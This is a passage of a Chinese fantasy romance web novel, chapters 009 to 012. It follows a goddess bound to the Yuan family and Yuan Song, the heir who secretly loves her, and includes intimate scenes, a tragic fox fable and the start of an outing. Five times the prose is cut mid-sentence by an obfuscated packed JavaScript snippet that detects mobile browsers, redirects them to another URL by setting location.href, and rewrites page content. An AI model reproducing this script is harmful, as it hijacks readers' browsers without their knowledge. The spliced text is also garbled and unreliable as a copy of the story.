他对她一腔情意、汲汲营营,他自以为的独占和偏爱,对她而言,也不过只是一场“凑巧”——凑巧醒过来,凑巧下了场雨,凑巧嘴馋了化形,凑巧来了兴致想试一试云雨。 他甚至想,不如趁这个机会,单刀直入地问个清楚,问问她对自己到底是个什么想法。 但又怕问得太直白了,难免唐突逾矩——如果这个缺心眼的神仙心里真的有“唐突”这种概念的话。 袁颂越想越郁结,只能按住“水经注”的书页,恶狠狠地翻到了下一个记号点,让阿青照着配合自己。 他将她半个人压在食案上,染着□□的目光一瞬不瞬地盯她的表情,想要在这种极致深入、极致欢愉的情况下,从她的眼睛里找到哪怕一丝一毫跟自己一样的欲罢不能。 可阿青只是学着书里的动作很自然地将腿盘到他腰上,又开始好奇:“而且,我看脂批说,你们男子每一回在梦里的时候,这样那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305726|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都是会换的,袁颂,你也是这样的吗?你在梦里换过哪些人?” 袁颂抿着唇,额角的青筋把他脑袋都跳痛了,心烦意乱地伸手去捂她的唇,不准她再问这些乱七八糟的问题。 月色下,阿青露在外面的一双眼睛跟黑葡萄似的,亮晶晶的。 袁颂捂她的时候,弄的力气也发了狠。 阿青微微喘息,握住他手腕却不挣扎,温软的手指有一下没一下地挠他的腕骨,摁在掌心下的唇瓣也跟着亲吻他的掌纹。 袁颂被她天真如幼兽般的啄吻亲得差点把持不住,柔软的微麻痒感顺着他的血管经脉,汹涌地遍及他四肢百骸,手里的力道不免就松了。 阿青脱了桎梏,仍不忘追问:“跟我说说嘛,这个秘密我保证不跟任何人讲,我在这个府上又不认识别的什么人,你不用同我不好意思的,你梦见过谁?说嘛说嘛说嘛!” 袁颂听得心烦。 他捂不了她的嘴,也捂不上自己的耳朵。 只能咬牙切齿地去吻她,将她没心没肺的诱哄咬进嘴里。 “是一个笨蛋。” 袁颂的嘴唇堵着她,呼出来的气音断断续续地,像是在回答她的问题,又像是真的在骂她“笨蛋”。 很是莫名其妙。 阿青不服气被一个凡人看扁。 他越骂她越问。 刨根问底、打破砂锅。 袁颂盯着她不断张阖的唇,忽然像一条露出獠牙的蛇,伸出五指修长的手,虎口掰正她的下巴,不再给她任何说话的机会,落下的吻深深缠进她唇齿里,握着她腰的手,也像蛇尾一样摩挲、收紧、绞杀。 寂夜凉风如烈火烹油,煎烧五脏六腑,炙烤俗世七情。 可神女无心,徒留庸人自扰。 直到翻涌的热浪将两人淹没。 袁颂将微潮的额头抵在她颈项,于悸颤中平复呼吸,在阿青柔软的抱怨声里,慢慢地、慢慢地、很慢慢地听见自己无法见光的心跳。 我想的那个人是你。 从一开始就是你。 有且只有一个你。 9. 009-狐狸 009 幕天席地的一晚上,两个人在屋顶上乱来到了二更天。 折腾人的云雨终结于暖池氤氲的热气里。 袁颂洗完澡从屏风后绕出来,发现阿青正咬着苹果趴在书桌上看志怪小说,她翻页翻得极快,随随便便就将一本书从头撇到尾,一脸的兴致缺缺。 “不好看么?” “翻遍了也就是那些陈词滥调,”阿青从书里恹恹地抬起头,“最近书肆里就没上新么?” 不再需要一天到晚盘在房梁上睡觉,阿青这段时间,已经越来越觉得自己像个人,就连睡前都要看点杂书助眠,要不是民间的这些志怪小说写得太令她这个神仙出戏,她也不至于这么毫无代入感地一目十行。 还不如《水经注》好看,不愧是袁颂压箱底的珍藏,但问题是,这种书就不适合睡前看了,太容易上火。 “三个月才上一批新书,你看得未免太快了。” 她被困在祠堂里哪也去不了,除了看杂书也没别的能打发时间的东西。 注意到她脸上的不开心,袁颂静默片刻,问:“要不然以后睡前,我给你讲故事?” 阿青原本是不觉得袁颂这个日常花大半时间看正经书的人能讲出什么吸引人的故事,但一想到这人能把春宫图都包装成《水经注》,又觉得长公子此人多少有点深藏不漏。 一只贡品鸭,又能做她的炉鼎,又能给她说故事,也未免太全能了。 没想到她倒霉了几百年,临走了还能占一占袁家的便宜。 阿青心里高兴,脸上却装出一副不得已,骄矜地一撇唇:“你能给我讲什么?先说好,我不听太俗套的。” 袁颂沉吟着想了想:“那就跟你讲一个我乳母小时候同我说过的,一只用眼泪报恩的狐狸的故事。” 阿青喜欢一切跟毛茸茸相关的志怪故事,狐狸作为精怪里漂亮可爱又聪慧的翘楚,自然深得她心。 她眼睛亮了一下,神情急切地示意他继续往下说。 注意到袁颂的目光落到床上,她立刻会意,跳下书案去漱口,然后站在桌边冲他张开双手,袁颂弯了弯唇,像往常一样从善如流地将她抱上了床。 小禅房的格局经过最初的改造,连床的朝向都有讲究。 两人并肩靠在床头,袁颂揽着阿青的腰,将她的脑袋靠在自己胸口。 小轩窗外,正好能看见天际银河繁星密布,一闪一闪的星星,每一颗都亮晶晶的。 少时他将阿青的画像枕在床头,总能梦见带她看星星。 他在梦里其实极少有逾矩的时候,与她相处时,也都发乎情止乎礼,两人既聊诗词歌赋,也聊山南水北的见闻,围炉煮茶,观梅赏雪。 他出生于钟鸣鼎食之家,见过的金银珠宝、琉璃雕花不胜枚举,却仍觉得世俗之美,再美也美不过天然——他能想到的,最令人高兴的事情,就是跟她一起看星星。 然而等真跟意中人共话巴山夜雨的时候,才发现,原来其实神仙压根看不上凡人的心愿。 “从前从前,有一只狐狸在山中修行,这是一只勤勉刻苦的狐狸,日夜修行,不敢懈怠,只为有朝一日能脱离轮回,得道成仙,却在某次下山觅食的途中,失足掉进了猎人的陷阱。” “捕兽夹的钢齿夹断了他右边的后腿,白色的皮毛被鲜血染了色,他趴在枯草堆里等死,却遇见了一位路过的少女。” “奄奄一息的狐狸被人从捕兽夹里救出来的时候,又渴又饿,少女给他喂了水和肉粥,又解下了发带替他包扎了伤口,于是小狐狸就这样记下了那少女的容貌,也珍藏了那条青色的发带。” 略显俗套的开局,但好在这里头的狐狸不让她讨厌——只是阿青也分不太清,到底是袁颂清润干净的声音让这个不起眼的故事听起来生动有趣,还是今晚她酒足饭饱,对旁的事物,就多一分耐心。 “真是可惜了,这少女与其说是狐狸的救命恩人,不如说是他成仙路上的劫数。”阿青叹了口气,像是事不关己的路人,点评得不痛不痒,“修行之人最忌讳突然动念,成仙的过程其实就是灭欲绝情的过程,神仙尚要封心锁爱,更何况这样一只正在修行途中、上下求索的狐狸?” 袁颂晦涩的目光静静地落在她不以为意的脸上,不知在想什么,漆黑的瞳孔里闪着极其复杂的微光,像是要透过她的眼睛,找一个根本不存在的答案。 他沉默了很久,久到阿青忍不住推了他一把促问他“后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305727|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢”,他终于慢悠悠地回过神,继续说:“狐狸无法预知未来,并不知道自己这神仙大概率是做不成了,他只是很想再见一见那名少女,但茫茫人海,作为一只连化形都不会的狐狸,他根本不知道要去哪里才能找到她。” “于是,他找啊找,找啊找,直到某日于山间躲雨,他在石窟里,发现一尊破败的古寺。” “这狐狸生来就有慧根,见寺庙荒废、蛛网遍结、香火湮灭,便花了力气,尽他所能,补了一番修缮,就在他把佛祖的断手接好之后,石像后头突然走出了两个人,一个是身穿破破烂烂的道袍、拄着拐杖的跛道人,一个是半张脸贴了赖皮膏药、疯疯癫癫的癞头和尚,两个人看着地上的狐狸嘻嘻哈哈,互相打趣对方说什么这一局你赢我输。” “小狐狸虽然听得云里雾里,但知道这两人不简单,就在长明灯火里跪下来,求神仙指一条明路。” “癞头和尚问狐狸,是想要不劳而获的千年道行,还是免受雷劫的护身符?” “苦修百年只为成仙的心愿唾手可得,可狐狸想到的,却只是那名少女,他向两人深深一揖,诉说了自己对那名少女的爱慕。” “那跛道人先是揶揄地看了癞头和尚一眼,旋即哈哈大笑,问‘你有多喜欢那少女’?” “狐狸想了想,说——” 当袁颂柔润的声音缓缓于静室里响起的时候,好似温润的泉水淌过她的耳朵,虔诚语调仿佛他就是那只千年传说里的狐狸。 “我愿化身石桥,受五百年风吹,五百年日晒,五百年雨打,但求此少女从桥上走过。” 石窟里的长明灯火将三道影子长长地拉在石壁上。 狐狸蓬松的狐尾在跳动的火光里轻轻颤动。 雪白的皮毛在经年累月寻找那名少女的过程中,已经渐渐黯淡了光泽。 “既如此,”开口的是那个癞头和尚,“你要找的人,就在这世间最繁华富贵的温柔乡、在最醉生梦死的不得见人之处。” 他指了个方向,却从袖中摸出一把精刃匕首,递到了狐狸面前。 “既然你的心愿只是见她一面,那等你得偿所愿后,就杀了她,剜掉她的心,用她的血,脱你肉体凡胎,助你荣登仙位。” 10. 010-不值得 010 阿青原本以为袁颂要跟她讲一个俗套的报恩故事,却没想到事情的走向猝不及防峰回路转,她被惊得一下子坐起来,难以置信地瞪大眼,问:“怎会如此!” 袁颂笑着拍了拍她的肩膀,揽着她重新躺回自己怀里,示意她稍安勿躁,让他慢慢讲。 “狐狸盯着那把吹发可断的利刃同样一头雾水,却听一旁的跛道人催促说‘快拿着吧,再磨磨蹭蹭,你连她最后一面都见不到啦’。” “于是狐狸顺着癞头和尚给的方向抵达王城的皇宫里,却发现原来他日思夜想的少女,已经病入膏肓。” “富丽堂皇的公主寝殿里空荡荡的,人走茶凉,连个侍女也无,气若游丝的少女捂着心口,躺在床上等死,苍白的脸上满是痛苦之色,任谁看一眼,都知道她命不久矣。” “隔着摇曳的纱帘,狐狸虔诚地用目光描绘床榻上支离的病体,却不敢上前,直到癞头和尚的声音从耳边响起,问‘既然都已经见了,难道还下不了手吗?’” “狐狸一回头,发现跛道人和癞头和尚不知道什么时候已经站在了自己身后。” “癞头和尚叹了口气,无奈于狐狸的优柔寡断,忍不住提醒说,‘就算你不剜她的心,她也是要死的,你不如趁这个机会早些助她脱离苦海,顺便捡了她这个漏,让有缘人的血祭你的妖丹,岂不是两全其美?她的地狱门,即是你的灵山道,还有什么好犹豫的?’” “狐狸沉默片刻,忽然转头望向一直不说话的跛道人,冲对方行了个大礼,问要如何才能救自己的心上人。” “那跛道人笑了笑,说少女的心病是娘胎里带的不足之症,心病自需心药医。提示点到即止,但狐狸却晓得,这是要一命换一命,所以眼下,除了剜了他的心给她续命外,别无他法。” “当狐狸毫不犹豫地举刃对准自己的心口时,跛道人但笑不语,癞头和尚连连叹气,大声骂他‘白长一颗七窍玲珑心,却是个暴殄天物的蠢材,为祸众生的孽畜’。” “跛道人自然不似癞头和尚那般脾气暴躁,只在最后关头笑着问狐狸,说,‘如若我告诉你,今日你以命救了她,他日她成一代妖后,只手遮天、祸乱朝纲,步妲己褒姒后尘,效吕雉贾后之路,陷生灵于水火,这样的人,你也要救?佛教讲究因果、注重轮回,她寿数已尽,若你强行逆天改命,铸就异数,那民不聊生的孽力必将加注于你这个始作俑者的身上,你也心甘情愿?’” “跛道人见狐狸沉默,便又笑着劝他说,‘若你心怀苍生,便放下执念,杀了她就可立地成佛,这样白捡的功德你上天入地也找不出第二桩,可你若耽于情爱,执念于此,岂不白白浪费你这些年的清修,断送你好不容易攒到的仙缘?’” “是与非的选择就摆在眼前,天平的两端孰重孰轻亦一目了然,手里的冰刃寒光凛凛,可小狐狸的声音却仍掷地有声、斩钉截铁,他说苍生与他何干,他今日为她而来,见一面是得偿所愿,以心易心,也绝不后悔,只盼佛祖慈悲,怜悯他贪图妄求,就算永堕轮回之苦,也想与她做一世夫妻。” “在剖心前,狐狸终于敢大着胆子跳上少女的床榻,他将脸贴在少女的脸上,告别的眼泪洇入少女的鬓角,动物的皮毛被太阳烤出很蓬松、很温暖的温度,柔软的触感将正在病重发梦的少女唤醒。” “‘这是哪来的小狐狸呀?’他举刀时听见少女很轻很轻的声音,不知是在问他,还是在呓语,但唯一能够确定的是,距离两人初见也不过匆匆数载,可那少女早已记不得自己曾经救过一只狐狸。” 当袁颂清沉温润的声音彻底安静下来,繁星的清辉漏进窗,闪着油灯的寝室里,只有烛火燃动的“哔啵”声。 阿青:“后来呢?” 袁颂垂眸,对上阿青好奇的眼睛,摇了摇头:“后来的故事,我乳母便没再跟我说,或许那名少女真做了某个末路王朝的妖妃,被写进史书中,供后来者引为教训。” 阿青怔怔地皱起眉,似乎是很不可思议这个戛然而止的结局:“但这只狐狸,却为这样一个根本记不住他的少女,就这么随随便便地,剖了心、散了道行、丢了命?” 袁颂点点头:“正是。” 阿青轻呼出一口气,惋惜道:“真是好不值得!” “……” “寻常的生灵若要成仙,资质必须得是万里挑一,这狐狸有这样的造化却放弃得这么容易,怎么能这样啊!” 油灯的烛火闪得厉害,袁颂像是不怕被火燎似的,伸手去拨灯芯,淡声道:“喜欢这种事情,本来就是飞蛾扑火,计较得失毫无意义,但求一个问心无愧。” 阿青沉静在狐狸的悲惨遭遇里长长地叹了一口气:“但问题是,‘喜欢’到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305728|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是一种什么样的感觉?” 鉴于有这样灰飞烟灭的前车之鉴,好学的阿青觉得自己也是有必要搞明白这种感觉的,万一哪天不小心着了道,毁了修行,得不偿失。 权当放防于未然。 袁颂没想到她会忽然问这个,沉默片刻后,拉了她的手按在自己胸口:“就是恨不得日日夜夜跟那个人待在一起。” 感受着掌心下袁颂温热的肌肤和略有些快的心跳,阿青顿时心凉了一截:“完了,那我现在也日日夜夜想跟你在一起。” 袁颂原本不抱她能听懂的希望,忽地眼睛就亮了,笑意浮上眼底:“是怎么样的想?” 阿青觉得很棘手:“我现在修为有缺,如果不能加紧时间修炼的话,都不知道何年何月能回家,你都不知道,如果我体力能有你一半好,我都恨不得日日夜夜跟你黏在一起。” “这样的不算,”袁颂敛住笑,“喜欢就是你想到那个人就开心,不做那种事也开心。” 阿青的心又凉了一截:“那我们现在不就是这样?我也不是总想着跟你做那些事情,我其余时间也会想你今天下朝之后会给我买什么零嘴回来,光是想想都让人开心。” 她嘴上说着开心,脸上一副“吾命休矣”的忧惧。 袁颂冷着脸,已经后悔跟她讨论这些,平白无故给自己心里添堵:“喜欢就是只羡鸳鸯不羡仙,难不成你愿意为了一个人,一辈子留在凡间?” 阿青凉下去的心重新暖回来了,激动得一下子坐起来:“这必然不可能啊!” 谢天谢地,她的仙阶保住了! 跟袁颂对完症状,阿青有种劫后余生的庆幸,心安理得地躺了回去:“反正要是有人毁我道行,害我做不成神仙,我第一个就给他杀了。” 袁颂脸色阴沉得能滴出水,沉默良久,愤愤地低哼了一声:“你果然只是馋我身子。” 怨气来得莫名其妙。 阿青很无语,希望他自己反思一下为什么要三更半夜冒充鸭子来敲她的门:“谁让你长得这么好看。” 这哪能怪她呢! 谁叫他上赶着来做自己的贡品! 她能有什么错! 到嘴的鸭子都不吃,岂不是暴殄天物! 袁颂定定地看了她片刻,沉着一张脸熄了灯,翻了个身背对着她躺下,头一回没有抱她入睡。 11. 011-仙凡有别 011 阿青头两天是没有发现袁颂的异样的。 她还在做着努力修炼最迟下下个月十五就能回家的美梦,结果袁颂回回来禅房找她,却回回都以身子虚为由拒绝她。 虚吗? 他哪里虚了! 好几天早上睡觉的时候她迷迷糊糊被东西顶醒,要不是太困了,她高低得拉着袁颂修炼一番。 但双修这种事情,本来就是讲求一个你情我愿。 更何况,她是神仙,他充其量也不过就是自己的信徒。 虔诚的信徒应该自己把贡品双手奉上,还要她上门讨是什么意思? 她都不计较他说她是“笨蛋”这种事—— 毕竟,她一个神仙,跟区区一个凡人争这种口舌,毫无意义。 阿青虽然不明白袁颂为什么忽然之间在这件事情上对她的态度急转直下,但她一个神仙又不能对信徒来强的,简直太掉分儿了,只能化悲愤为食欲,猛猛吃桌上的那种鸭。 反正不双修就不双修吧,等命契的时间到了,她出去做几件好事,吃点老百姓的香火也是可以提升修为的,就是麻烦一点罢了。 但神仙一旦咸鱼久了,多少是有点不思进取的,本来把袁颂做炉鼎,她躺着都能升级。 习惯了走捷径,等真要开始脚踏实地的时候,免不了心里苦哈哈。 以至于某天夜里,当着袁颂的面,阿青吃烤肉的时候都忍不住叹气:“你们凡间哪个神仙的香火最旺?” 袁颂翻书的手一顿,问:“怎么?” 阿青:“我现在当然要把解开命契之后的福地想好,如果蹭到了一个香火旺的神仙,就让他看在我爹的份上,匀一点香火给我,就当是慢慢攒功德了。” 所谓的匀香火,就是让对方允她在旁边弄个小像,如果有凡人跟她祈愿,她去完成对方的心愿,久而久之,就能攒够回家的路费了。 她说话的时候并不知道自己听起来可怜兮兮,袁颂沉默了片刻,继续不紧不慢地翻书看:“我不敬鬼神的。” 意思是他不仅不知道谁香火旺,还不想给她去打听。 信徒叛逆,阿青气晕。 好在她一个活了几千岁的神仙,还不至于面对这点小挫折就沮丧的,很快就完成了自我开解。 她虽然下界的时间短,但也明白船到桥头自然直的道理,天大的事情在时间面前,也会迎刃而解,她有足够多的、接近无限的岁数可以慢慢地等。 所以干脆既来之则安之,用沾着露水的菜叶子卷进一块肉,心满意足地大口吞下。 “所以,你现在不能回去,主要是因为修为还不够?” 阿青意外于袁颂的敏锐,但也没打算在这种无关紧要的信息上遮遮掩掩。 袁家跟自己之间存在命契,某种程度上,也算是一损俱损,即便对他暴露自己灵力有缺的事实,也无需担心对方会对自己不利。 如果拿一杯水举例,她现在的修为也就杯底浅浅的一层,至少要到半杯的量才能冲破命契,杯子里的水蓄满了,才能回家。 之所以想跟他双修,也不过是因为阴阳调和补充修为的方式最便捷省事。 别指望一个好吃懒做的神仙一夜之间勤奋起来,这不可能。 “要不然我这几天干嘛这么努力修炼?” 袁颂假装没看懂她眼睛里的暗示,低下头继续一本正经地翻书:“既然修为不够,那为何不在这里多逗留一段时日?届时,我也可以在祠堂里专门为你供奉香火,等你攒够了修为再回家也不迟。” 这就是拒绝跟她双修的意思了。 虽然这也是个偷懒的办法,至少不用她日晒雨淋奔波在外做好人好事,就是效率太低了点。 毕竟,一大家子几代人的祈愿能有多少效力? 跟她的亏空一比,简直杯水车薪。 阿青想到这里,又忍不住开始馋跟袁颂双修的好处,这辈子就没遇见过比这更事半功倍的修炼途径。 “亏你还是状元郎呢,都不明白花无百日红的道理,”阿青似笑非笑的眼睛定定地落在袁颂的脸上,“我是可以一千年、两千年地在这里修炼下去,但问题是,你们袁家能在人间改朝换代的翻覆中,永远屹立不倒么?” “……” “始皇统一六国,却终于二世,政令再清明的王朝都有覆灭的一天,更遑论你们做臣子的,难不成你们袁家还想当皇帝?但问题是,做皇帝也不能千秋万代,古往今来,多少王侯将相,谁敢保证,自己的家族能够流芳百世?天上一日地上一年,等我真修炼到能抵御天雷自保求全的那一日,这世上,哪还有什么袁家!” 她说话的时候,脸上没有丝毫轻蔑冷怠,反而是漫不经心,但偏偏这样理所当然地把真相表达出来,才最让人哑然无言。 的确不会有什么袁家,就连他的坟冢都会在时间的滚滚洪流里,随风散进黄土,被挫骨扬灰。 袁颂盯着满满一页的书摘,却一个字也看不进去。 凡人一生碌碌追逐的时间,于她漫长的寿数而言,也不过是一日午后短短的小憩,是一粟之于沧海。 任何烦恼对阿青而言不过是过眼云烟,吃一口烤肉就能忘到九霄云外。 偏偏只有他一个人贪心、不甘、得陇望蜀、患得患失。 桌案上油灯轻闪,突然出现的信鸽扑棱着翅膀落在窗台。 袁颂伸手取了信鸽腿上绑的信函,潦草看了两眼后,就递到灯火上烧了,半倚着凭肘出神,也不知在想些什么。 禅房内一时无话。 “阿青。” 阿青塞了一嘴的肉,说话的声音都含含糊糊:“怎唔啦?” 袁颂平静地看着她:“最近几日天气很好,想不想去外面踏青?” 阿青差点被嘴里的肉噎到,眼睛却一下子变得很亮:“怎么出去?” 以前在九重天之上,她就不是个爱社交爱折腾的神仙,比起玄女那种爱窜门、爱凑热闹的,她混吃等死的咸鱼属性更是一览无遗。 但几百年的活动范围限制在一个祠堂里,再不爱折腾的人也会对外面的天地抱一丝憧憬。 袁颂:“我是袁家的嫡长子,当然是由我带你出去,只是要辛苦你,无论如何,都不能离我十丈以外。” 命契这玩意儿,就好比孙悟空用金箍棒在地上画的圈,她想从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305729|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈子里出去是不可能的,但是如果有圈子里被规则接纳的人愿意带着她,蒙混过关,却相当可行,尤其那人还是袁家的嫡长公子,这样的血脉绝不会引动命契里的禁制攻击她。 最初的那几年,她是试过离开的,结果没撑几个时辰就受不了了,后来就干脆躺平摆烂了——反正在哪睡觉不是睡? 刚吃上袁颂这只鸭子的时候,她当然也动过念想出去玩,但在命契的法阵里,有些话是无法宣之于口的。 更何况,她一个神仙,岂有向凡人祈愿的道理? 讨一顿鸭子已经是她的极限了。 但她怎么也没想到今晚袁颂居然会主动提议带她出去。 更没想到,袁颂居然还知道命契里的禁忌,这就不能不让她好奇了。 袁颂只当没看懂她眼里的试探,问:“所以你想不想出去?” 阿青:“……” 不想说就不说呗,料他一个凡人,也害不了她。 阿青的眼睛咕噜噜地转了两圈:“往常你不是日日都要上朝么?怎么这次说踏青就踏青?” 别告诉她,就只能出去玩半天,那跟监狱放风有什么区别? 她都不乐意折腾。 袁颂一手支着额,脸上难得露出一丝疲惫:“圣上龙体欠安,由皇后代理朝政,之前奏的几份折子被冷置了,我便告了假,想去散散心。” 哦豁,看来是官场失意,那就是能出去玩好长时间的意思咯? 阿青眼睛亮晶晶的:“就我们两个人吗?” 袁颂眼帘一抬,对上她目光里的期待,淡棕色的琉璃瞳孔里透出一点点粉色的华光,染着很淡的笑意:“不然呢?” 太久没出门的阿青当即发出了没见过世面的感慨:“那不就跟书里写的私奔一样了?” 《水经注》里,那穷书生看上了宰相府的千金,都不用花言巧语,只问对方要不要跟他一起去山林里放风筝,就骗得人家好端端一个千金大小姐连夜背着包袱跟他出了城,结果风筝也不是好好放的,风筝线都勾到树枝上了,两个人卧在草丛里的事情还没结束。 阿青当时就看得很无语,但架不住那个叫温玉的作者将整个场景的描写很美,也忍不住跟袁颂探讨过这种露天行为的可行性。 只是袁颂现在也不爱跟她双修了,她退而求其次,也是可以试试那个叫风筝的玩意儿是怎么放的。 少女眼里的雀跃一半是懵懂,一半是认真——明艳的光芒炽盛如星,只稍对视一眼,生平所有的不得志和郁郁寡欢,都会在顷刻间烟消云散。 袁颂发现自己其实根本生不了她的气。 他想她想得要命,偏偏有的神仙就连撩拨人都撩拨得虎头蛇尾。 定过情的人才叫私奔。 他们这样的,算什么? 袁颂忍不住伸出手,在阿青的腰带上轻轻勾了一下,阿青不明所以,以为刚刚吃烤肉的时候,掉了孜然在羽衣上,忙低下头检查有没有漏网的油渍。 袁颂移开眼,无奈地轻哂了声:“是啊,想带你私奔到一个没人的地方,就我们俩,一起放风筝。” 真是。 好笨的一个神仙。 12. 012-私奔 012 阿青是被马车颠醒的,就算身下的床褥铺得够厚,也架不住山路崎岖,一觉睡醒,腰酸背痛,骨头都差点没被路上的石子磕散架,偏偏袁颂四平八稳地坐在车内燃香看书,岿然不动的姿态,俨然一副世家公子克己复礼、端方自持的做派。 马车摇晃,挡日头的竹帘也跟着甩来甩去,撞得车架叮叮当当响。 阿青揉着眼睛从卷成春卷的被子里坐起来,把额头抵在车窗边缘,很茫然地看山道一侧的风景。 青青翠翠的高木阔叶层峦叠嶂,时值正午,耀目的阳光从叶片与叶片的缝隙里透下来,像是在摇曳的清风里跳舞。 山道下是巍峨城郭,繁华的市井街道,穿行于间的百姓像一只一只缩得小小的蚂蚁,忙碌不停歇。 闻了几百年袁家宅邸内的紫檀木香气,此刻骤然间又重新嗅到天地的气息,浓郁的草木香伴随着一点点海浪的咸腥气,总会让阿青不自觉想起自己还在大荒山顶做女娲石时的那段日子。 突如其来的自由有些猝不及防,总给她一种很强烈的不真切感。 居然就这么……轻而易举地出来了? “今天车里点的是什么香?” 阿青挣开卷在身上的软被,单薄的一件寝衣慢慢地变出繁复的花样,淡色的立领中衣,外头是一件淡青色的对襟薄纱裙,三指宽的腰带上有描银的绣线,在漏窗而入的阳光里像星辰微闪,乍一看很有小家碧玉的温静娴雅。 仙人的羽衣会随着主人的心情幻化颜色,但大多数时候阿青都是穿淡青色的,唯有在动欲时,会在裙摆处荼靡上桃粉,在相处的有限时间里,袁颂并未见过其他颜色。 阿青打着哈欠爬向袁颂,攀住他的膝盖,将脸枕在他腿上,一副还没睡醒的样子。 “是白芷雪梅,安神用的。” 难怪她路上睡得那么沉。 袁颂这人,在迷惑神仙上,真是一套又一套。 袁颂伸手将她抱进怀里的时候,从翠青色的广袖中露出一截骨节分明的手腕,阿青很快就被他身上淡雅的冷竹茶香笼罩,目光轻飘飘地在他腕间那两道隐形的红丝咒线上定了片刻,然后又不动神色地移开:“饿了。” 神仙早就辟谷,当然是不会觉得饿的,阿青嘴里所谓的“饿了”,于日常,多半就是馋了的意思。 袁颂的目光顺着阿青好奇的视线落在车帘外。 虽是荒郊野岭,但不远处的山道中段有一片村舍,尽管午时炊烟袅袅,但阿青惯来胃口刁钻,要很精细地养着,潦草的农家小院里不会有能合她心意的食物,所以她这时候说“饿了”,打的主意多半是想下车走走,也必然不想化身隐形。 袁颂对她的意图了然于胸:“那一起下去看看能不能叨扰到人家弄一顿午膳。” 半道的村舍面积不大,零零散散的几户农居。 两人一下了马车,就吸引了不少目光驻足。 午时炊烟袅袅,村舍的烟火气十足,妇人们皆在厨房忙碌,站在路边的倒有不少下田归家午憩的庄稼汉子。 男人们的视线只在袁颂身上打量了两眼,便很自然地移到了阿青的脸上。 神仙并不会过度在意自身容貌,凡人所谓的“身体发肤”,于阿青看来,也不过就是一副皮囊,要不是她现在灵力不足,舍不得浪费,高低也可以给袁颂变几张脸让他见识一下她的法术。 只是世人却并不能超脱皮相,初识印象也逃不出最浅薄的“美丑”,众人只看一眼,就觉得眼前的少女容貌体态,无一不美。 瓷一样白的皮肤,五官静柔清冷,秀致得像冬日被雪压弯的一点红梅,干净的目光则清泠泠得像冻湖,有种遥不可及的疏离感,偏偏生一双极有异域感的墨瞳,粗看是高不可攀的神女,但细看却像摄人精魄的妖。 然而也不知是不是被太阳迷了眼,华光只在那对少见的墨瞳里流转了一瞬,再看,她的瞳孔就已经如常人无异,变成了一对漆黑的水葡萄。 少女只是很安静地站在山道旁,可周围葱翠的景色在她身后就全暗得落不下眼了。 路旁的庄稼汉活一辈子也难见这样神仙一样的人,一时间纷纷盯着阿青走不动道。 阿青好奇地巡视了一圈,注意到人群里有张年轻的脸,皮肤虽然晒得有些黑,穿布衣草鞋看着也不太干净,但胜在五官清秀不惹人厌,正打算上去跟他打听一下民间到底是哪个神仙的香火旺,人还没走过去,手已经被人牵住、握紧。 袁颂脸色不太好,声音也冷冷的:“你想跑哪去? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305730|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 阿青茫然地“啊”了一声。 袁颂把她拉近自己身前:“十丈之内的命契你忘了?” 阿青狐疑:“这村子这么小,我怎么也不可能跟你分开十丈吧?” 袁颂垂着眼帘,将少女的手指一根一根扣进自己的指缝里,轻轻哂了一声:“这可不好说,万一人家也请你吃鸭子呢?” 